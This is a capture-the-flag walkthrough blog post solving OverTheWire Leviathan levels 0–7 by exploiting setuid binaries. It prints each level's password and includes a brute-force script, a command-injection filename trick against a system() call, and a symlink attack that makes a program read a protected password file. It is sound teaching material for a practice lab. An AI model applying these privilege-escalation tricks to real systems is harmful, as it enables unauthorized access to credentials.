OverTheWire: Leviathan

Jun 26, 2021 21:35 Β· 1621 words Β· 8 minute read

Level 0 β†’ Level 1 πŸ”—

Quick find on the current folder reveals hidden folder backup

$ find .
.          
./.bash_logout
./.backup
./.backup/bookmarks.html
./.profile
./.bashrc

Within it, there is a file bookmarks.html containing bookmarks in the old Netscape file format.

Let’s do a quick grep on that file

$ grep -i Password .backup/bookmarks.html --color=auto 
<DT><A HREF="http://leviathan.labs.overthewire.org/passwordus.html | This will 
be fixed later, the password for leviathan1 is rioGegei8m" ADD_DATE="1155384634" 
LAST_CHARSET="ISO-8859-1" ID="rdf:#$2wIU71">password to leviathan1</A>

Answer: rioGegei8m

Level 1 β†’ Level 2 πŸ”—

In the current folder, there is a binary file check

$ ls -l
total 8
-r-sr-x--- 1 leviathan2 leviathan1 7452 Aug 26  2019 check

Notice, it has a setuid flag set. This means it is executing with the permissions of the owner of that file. In this case, it is leviathan2. This is dangerous. If we can somehow cause this program to misbehave, we can use it to print out the password in the /etc/leviathan_pass directory.

Running the program:

$ ./check
password: abc
Wrong password, Good Bye ...

Let’s do a quick static analysis of the binary

$ file ./check
./check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
 dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, 
 BuildID[sha1]=c735f6f3a3a94adcad8407cc0fda40496fd765dd, not stripped

It is a 32-bit dynamically linked program.

$ objdump -T ./check
check:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000      DF *UND*	00000000  GLIBC_2.0   strcmp
00000000      DF *UND*	00000000  GLIBC_2.0   printf
00000000      DF *UND*	00000000  GLIBC_2.0   getchar
00000000      DF *UND*	00000000  GLIBC_2.0   geteuid
00000000      DF *UND*	00000000  GLIBC_2.0   puts
00000000      DF *UND*	00000000  GLIBC_2.0   system
00000000  w   D  *UND*	00000000              __gmon_start__
00000000      DF *UND*	00000000  GLIBC_2.0   setreuid
00000000      DF *UND*	00000000  GLIBC_2.0   __libc_start_main
0804868c g    DO .rodata	00000004  Base        _IO_stdin_used

These are all the functions there are called from within the program. We see a getchar function, which processes our input byte by byte. Then there is strcmp function, which is directly responsible for comparing our password with the correct password. Finally, system executes a system command, given as a first argument.

$ strings ./check | less
...
password: 
/bin/sh
Wrong password, Good Bye ...
...

The presence of the string /bin/sh indicates probable spawning of a shell (using the system function) once given the correct password.

To get the actual password, we can use the linux utility ltrace. Since the app uses shared libraries, we will use ltrace to dynamically intercept all library calls made by the app, and print out their arguments and return values.

$ echo 'abc' | ltrace ./check
__libc_start_main(0x804853b, 1, 0xffffd734, 0x8048610 <unfinished ...>
printf("password: ")                                                 = 10
getchar(1, 0, 0x65766f6c, 0x646f6700)                                = 97
getchar(1, 0, 0x65766f6c, 0x646f6700)                                = 98
getchar(1, 0, 0x65766f6c, 0x646f6700)                                = 99
strcmp("abc", "sex")                                                 = -1
puts("Wrong password, Good Bye ..."password: Wrong password, Good Bye ...
)                                     = 29
+++ exited (status 0) +++

The password is clearly visible as the second argument to the strcmp function.

leviathan1@leviathan:~$ ./check
password: sex
$ whoami
leviathan2
$ cat /etc/leviathan_pass/leviathan2 
ougahZi8Ta

Alternatively, since the password is composed of only 3 characters, we can brute-force it in a reasonable time frame.

#!/bin/bash

for pass in {a..z}{a..z}{a..z}
do
    echo -n -e "Trying out password: ${pass}\r"
    out=`echo $pass | $HOME/check`
    if [[ $out != *"Wrong"* ]];
    then
        echo -e "\nFound password: '$pass'"
        break;
    fi
    sleep 0.01
done

Total search time: under 3 minutes

Answer: ougahZi8Ta

Level 2 β†’ Level 3 πŸ”—

$ ls -l 
-r-sr-x--- 1 leviathan3 leviathan2 7436 Aug 26  2019 printfile

Again, we have a binary with a setuid flag set.

$ ./printfile
*** File Printer ***
Usage: ./printfile filename

$ ./printfile /etc/leviathan_pass/leviathan3
You cant have that file...

Fair enough. It looks like there is some kind of permission check in place.

Let’s dig deeper and perform some library tracing. We’ll use the file /etc/hostname as our argument, since we have read access to that file.

$ ltrace ./printfile /etc/hostname
__libc_start_main(0x804852b, 2, 0xffffd704, 0x8048610 <unfinished ...>
access("/etc/hostname", 4)                                               = 0
snprintf("/bin/cat /etc/hostname", 511, "/bin/cat %s", "/etc/hostname")  = 22
geteuid()                                                                = 12002
geteuid()                                                                = 12002
setreuid(12002, 12002)                                                   = 0
system("/bin/cat /etc/hostname"leviathan <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                   = 0
+++ exited (status 0) +++

There are several things going on here. First, we see a call to access() function. This function simply recieves our input string, and checks if we have required permissions to read that file. If so, it then calls snprintf() to construct a command to be executed later with a call to system(). The executed command is really just /bin/cat followed by any input we provide. This part is vulnerable to code injection.

The idea is to first get past the access() function, while at the same time forcing /bin/cat to print out the password. This can be done by carefully crafting the input string.

Prepare working directory:

$ mktemp -d
/tmp/tmp.FR2DP3gS0e

Create the payload:

$ touch '/tmp/tmp.FR2DP3gS0e/a leviathan3' 

Switch to directory where the password is located

$ cd /etc/leviathan_pass

And finally, call the printfile with our newly created payload

/etc/leviathan_pass$ ~/printfile '/tmp/tmp.FR2DP3gS0e/a leviathan3'
/bin/cat: /tmp/tmp.FR2DP3gS0e/a: Permission denied
Ahdiemoo1j

Pwned!

Let’s break things up

By providing a string ‘/tmp/tmp.FR2DP3gS0e/a leviathan3’, we are effectively getting through the access function, since such file really does exist, and we have permission to read it.

Next, the snprintf constructs a command to be executed, which results in the command ‘/bin/cat /tmp/tmp.FR2DP3gS0e/a leviathan3’ (two files to be printed!)

Then, a system call will execute this command. Cat obviously fails on the first file, but will successfully print the second one. The reason is because system is being called from the current directory, the file leviathan3 exist there, and we have right permissions (due to setuid)

Answer: Ahdiemoo1j

Level 3 β†’ Level 4 πŸ”—

Running level3 program

$ ./level3
Enter the password> aaa   
bzzzzzzzzap. WRONG

Running it again through ltrace

$ ltrace ./level3
__libc_start_main(0x8048618, 1, 0xffffd744, 0x80486d0 <unfinished ...>
strcmp("h0no33", "kakaka")                                           = -1
printf("Enter the password> ")                                       = 20
fgets(Enter the password> aaa
"aaa\n", 256, 0xf7fc55a0)                                    = 0xffffd550
strcmp("aaa\n", "snlprintf\n")                                       = -1
puts("bzzzzzzzzap. WRONG"bzzzzzzzzap. WRONG
)                                               = 19
+++ exited (status 0) +++

Same as before, we use the elevated shell to print the password

$ ./level3 
Enter the password> snlprintf
[You've got shell]!
$ cat /etc/leviathan_pass/leviathan4
vuH0coox6m

Answer: vuH0coox6m

Level 4 β†’ Level 5 πŸ”—

Using find, we find a hidden binary .trash/bin

When run, it spits out a sequence of numbers encoded in binary

$ ./.trash/bin
01010100 01101001 01110100 01101000 00110100
01100011 01101111 01101011 01100101 01101001 00001010

We need to convert each number to their ASCII representation. This can easily be achieved in python with this one-liner.

$ ./.trash/bin | python3 -c 'for x in input().split(): print(chr(int(x, 2)), end="")
Tith4cokei

Answer: Tith4cokei

Level 5 β†’ Level 6 πŸ”—

$ ./leviathan5
Cannot find /tmp/file.log

Let’s create a dummy file, and run it again

$ echo hi > /tmp/file.log
$ ./leviathan5
hi

It’s printing out the contents back. One more time with ltrace

$ echo hi > /tmp/file.log
$ ltrace ./leviathan5
__libc_start_main(0x80485db, 1, 0xffffd734, 0x80486a0 <unfinished ...>
fopen("/tmp/file.log", "r")                                   = 0x804b008
fgetc(0x804b008)                                                  = 'h'
feof(0x804b008)                                                   = 0
putchar(104, 0x8048720, 0xf7e40890, 0x80486eb)                    = 104
fgetc(0x804b008)                                                  = 'i'
feof(0x804b008)                                                   = 0
putchar(105, 0x8048720, 0xf7e40890, 0x80486eb)                    = 105
fgetc(0x804b008)                                                  = '\n'
feof(0x804b008)                                                   = 0
putchar(10, 0x8048720, 0xf7e40890, 0x80486ebhi
)                     = 10
fgetc(0x804b008)                                                  = '\377'
feof(0x804b008)                                                   = 1
fclose(0x804b008)                                                 = 0
getuid()                                                          = 12005
setuid(12005)                                                     = 0
unlink("/tmp/file.log")                                           = 0
+++ exited (status 0) +++

Now it’s clear what it does. It opens the file and reads it char by char and prints each character. Finally, the file is deleted with the unlink function.

To get the password for this level, we can make a symlink pointing to the password file. The program will happily follow the symlink, and print out the contents of it.

$ ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log
$ ls -l /tmp/file.log
lrwxrwxrwx 1 leviathan5 root 30 Jun 26 18:53 /tmp/file.log -> /etc/leviathan_pass/leviathan6
$ ./leviathan5
UgaoFee4li

Answer: UgaoFee4li

Level 6 β†’ Level 7 πŸ”—

$ ./leviathan6
usage: ./leviathan6 <4 digit code>

Again with ltrace and a some 4 digit number

$ ltrace ./leviathan6 1337
__libc_start_main(0x804853b, 2, 0xffffd734, 0x80485e0 <unfinished ...>
atoi(0xffffd866, 0, 0xf7e40890, 0x804862b)                        = 1337
puts("Wrong"Wrong
)                                                            = 6
+++ exited (status 0) +++```

The input string gets convert to number with the atoi function. This number is then compared with the right password (number). However, we can’t see this using ltrace, as comparison is done purely between two numbers. There is no library call involved here.

Rather than brute-forcing the password, a better approach would be to load the binary in gdb, set a breakpoint to main, and step through the assembly code until we get to the actual comparison of two integers.

Then it is just a matter of displaying the memory contents of the integer we are interested in.

We need to:

  • Fire up gdb including program arguments
  • Set breakpoint to main function
  • Enable registers and assembly code view
  • Run the code
$ gdb --args ./leviathan6 1337
(gdb) b main
Breakpoint 1 at 0x804854a
(gdb) layout reg
(gdb) r
Starting program: /home/leviathan6/leviathan6 1337

Breakpoint 1, 0x0804854a in main ()
(gdb)

Next, we will repeatedly step through the code with the ni command, until we get to the cmp instruction. This is the instruction that does the actual comparison.

gdb

The instruction cmp takes two operands. The first is the memory address where the actual password is stored. The second operand is our input number, which is stored in the EAX register (as seen on the top left).

At this point, all wee need to do, is peek inside the first operand’s address to get the password.

Before printing the number, the address first needs to be casted to integer pointer and then dereferenced (same as with C pointers)

(gdb) p *(int *)($ebp-0xc)
$4 = 7123

Now let’s git that shell

leviathan6@leviathan:~$ ./leviathan6 7123
$ cat /etc/leviathan_pass/leviathan7
ahy7MaeBo9

Answer: ahy7MaeBo9

comments powered by Disqus